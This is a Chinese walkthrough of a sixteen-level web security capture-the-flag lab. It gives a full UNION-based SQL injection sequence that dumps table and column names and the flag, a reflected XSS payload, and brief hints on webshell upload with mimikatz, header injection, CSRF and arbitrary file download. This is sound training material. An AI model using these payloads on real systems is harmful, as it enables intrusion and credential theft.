**第一关：普通注入**

1 -‘ //回显错误，根据错误

2 –‘’ //回显正确

3 -‘order by 4 //数字为猜测，使用intruder，或者根据网页推测表数量

4 -' union select 1,group\_concat(table\_name),3,4 from information\_schema.tables where table\_schema = database() %23

//暴出表名

5 -' union select 1,group\_concat(column\_name),3,4 from information\_schema.columns where table\_name = 'flag' %23

//暴出列名

6 -1' union select 1,flag,3,4 from flag %23 //查得flag数值

**第二关：图片隐写**

图片隐写

**第三关：目录扫描**

对目录扫描(爬取)

**第四关：弱口令爆破**

弱口令

**第五关：HTTP头注入**

X-Forwarded-For头注入

**第六关：数据包context修改**

**第七关：越权**

url越权

**第八关：CSRF（跨站请求伪造）漏洞**

burp的engaement tool生成CSRF即可

**第九关：URL跳转**

**第十关：任意文件下载（GET）**

扫描目录，文件下载

**第十一关：任意文件下载（POST）**

同十

**第十二关：任意文件上传**

上传webshell获取shell，使用一些方法获取密码（如mimikatz）

**第十三关：反射型XSS**

id=<img src onerror=alert(1)>

**第十四关：存储型XSS**

同上

**第十五关：文件上传过滤**

禁止图片格式上传

**第十六关：HTTP包的修改**